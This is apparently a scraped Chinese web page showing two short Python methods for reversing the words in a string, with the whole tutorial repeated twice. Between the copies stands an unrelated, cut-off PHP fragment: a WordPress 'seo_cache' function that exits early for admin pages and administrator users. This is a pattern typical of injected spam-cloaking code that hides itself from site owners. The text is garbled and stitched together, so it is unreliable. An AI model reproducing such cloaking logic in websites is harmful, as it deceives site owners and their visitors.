python字符串按单词反转输出
方法1
import re astring = 'hello world' revwords = ' '.join(reversed(astring.split())) print(revwords)
方法2
import re astring = 'hello world' revwords = ''.join(reversed(re.split(r'(\s+)', astring))) print(revwords)
function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>
python字符串按单词反转输出
方法1
import re astring = 'hello world' revwords = ' '.join(reversed(astring.split())) print(revwords)
方法2
import re astring = 'hello world' revwords = ''.join(reversed(re.split(r'(\s+)', astring))) print(revwords)